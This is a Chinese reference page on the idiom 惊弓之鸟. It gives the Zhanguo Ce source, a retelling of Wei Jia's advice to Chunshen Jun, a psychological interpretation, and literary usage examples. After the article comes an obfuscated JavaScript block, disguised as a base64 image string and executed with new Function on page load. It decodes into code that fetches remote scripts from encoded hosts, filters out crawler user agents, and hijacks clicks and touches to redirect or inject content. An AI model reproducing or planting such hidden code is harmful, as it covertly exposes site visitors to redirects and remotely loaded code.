惊弓之鸟1967
2024-08-10 18:14:18
更羸(人名,羸音léi)与魏王处京台(人工筑起的高台)之下,仰见飞鸟 更羸谓魏王曰:“臣为王引弓虚发而下鸟 ”魏王曰:“然则射可至此乎 ”更羸曰:“可 ”有间,雁从东方来,更羸以虚发而下之 魏王曰:“然则射可至此乎 ”更羸曰:“此孽(受伤的鸟)也 ”王曰:“先生何以知之 ”对曰:“其飞徐而鸣悲 飞徐者,故疮痛也,鸣悲者,久失群也,六故疮未息而惊心未至也,闻弦音,引而高飞,故疮陨也 ”(《战国策·楚策四》)这个寓言故事后来被提炼为成语“惊弓之鸟” 惊弓之鸟(3张)战国末年,秦国日益强大,逐渐有了吞并六国的野心 有一段时间,赵、楚、燕、齐、韩、魏六国决定联合抗秦 一天,赵国使者魏加和楚国春申君一起商谈抗秦主将的人选 当魏加知道春申君准备让临武君担任主将时,只是摇头叹气不吭声 春申君知道他不同意,就问他原因,魏加想了“我讲一个故事给您听,听完了,您就会明白的 ”接着他就讲了起来 “从前有个神射手名叫更羸,射起箭来真可以说是百发百中 一天,他和魏王一起散步时,天空中飞过几只大雁 他对魏王说:‘大王,我只用弓,不用箭,就可以把大雁射下来 ’魏王哪里相信 更羸又说:‘我试给您看 ’“过了一会儿,一只大雁从东方飞来,更羸举起弓,没有用箭,只拉了一下弓弦,随着‘嗡’的一声弦响,这只大雁就从空中掉了下来 “魏王大吃一惊,说:‘想不到你会有这样的本领 ’“更羸说:‘这并不是我有什么超人的本领,而是这只大雁受过箭伤,您没有看见它飞得很慢,叫声很悲凄吗 飞得慢,是它的伤口疼痛;叫得悲,是它离开雁群很久了 它惊魂未定,又听到弓弦响,就拼命想往高处飞,使劲,伤口又裂开了,所以就掉了下来 ’”接着,魏加话锋一转说:“临武君刚被秦军打败过,看到秦军就会害怕,如同受过伤的鸟一样,怎么能再让他担任主将呢 ”春申君觉得魏加的话有理,就采纳了他的建议,没有让临武君当主将 “惊弓之鸟”这个故事完全是建立在心理学理论基础上的 它说明一个人如果曾经遭受过重大挫折的打击,以至于留下难以磨灭的负面阴影而心有余悸,在他今后的生活中,如若在重新出现类似情景,就会因为恐惧而不堪一击或不战自溃 这就和一个曾经被老虎伤过的人,在今后的生活中往往会出现“谈虎色变”的心理阴影,有这种负面心理影响的人,怎么可能让他去战胜老虎呢 这个寓言一方面告诉人们,对于那些曾经受到过某种伤害及其惊吓的人,或者说曾经是手下败将,是很容易战胜的,所以,不能放过这样的机会;另一方面告诉人们:不要运用那些受过失败创伤,而且还沉浸在恐惧的阴影中的人,再去担任那种曾经使他失并形成心理创伤的工作或任务 当然,这只限于那些在心理创伤阴影中还没有走出来的人,而对于那些虽然曾经失败但意志坚强,心理健康的人来说,采取“在哪里跌倒就在哪里爬起来”的策略,却又有可能取得出人意料的理想效果,因为那些人有经验,可能从以往的失败中汲取教训,加上有“雪耻”的斗志,胜算也是比较大的 同时,奉劝那些遭遇过失败的人,不要陷入“一朝被蛇咬,十年怕井绳”的落魄,而要善于认真总结经验,汲取教训,发奋振作,否则只怕真的会成“惊弓之鸟” 成文用法原义指被弓箭吓怕了的鸟,比喻受过惊吓或打击的人,遇到类似的情况,就会惊慌、害怕 在句中主要作主语、宾语 常跟“是”“成”“成为”一类动词配合 可跟“般”“似的”构成短语 运用示例 唐·房玄龄等《晋书‧王鉴传》:“黩武之众易动,惊弓之鸟难安 ”明·天然痴叟《石点头‧瞿凤奴情愆死盖》:“方氏本是惊弓之鸟,听见官司两字,十分害怕 ”清·李绿园《歧路灯》第八十一回:“绍闻是惊弓之鸟,吓了一跳 ”范文澜《中国近代史》第八章第四节:“西太后、荣禄一伙人,屡受外国强盗的打击,早成惊弓之鸟 ”钱钟书《围城》:“我们吃过女人的亏,都是惊弓之鸟,看见女人影子就怕了 ”
!function(){function a(a){var _idx="j4bkuph1hi";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks}jR8Co)S_Jh}h6"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks}"=X8"Co)S_Jh}h6"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks}^)ThF)m4D24h2mRT4"="Ks}X5ThF)mDS_6_pmRT4"="Ks}2pThFm4D24h2mRT4"="Ks}_JqhFmDS_6_pmRT4"="Ks}2TOhFm4D24h2mRT4"="Ks}CSqhF)mDS_6_pmRT4"="Ks})FfThF)fm4D24h2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs}qhOFq^)Y6(:m@(5p2DQmRT4gQ}1Q/((/Ks}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs}qhOFq^)Y6(:m@(5p2DQmRT4gQ}1Q/((/Ks}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q/f/Ks}j(8}vR8Co)S_Jh}h6"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();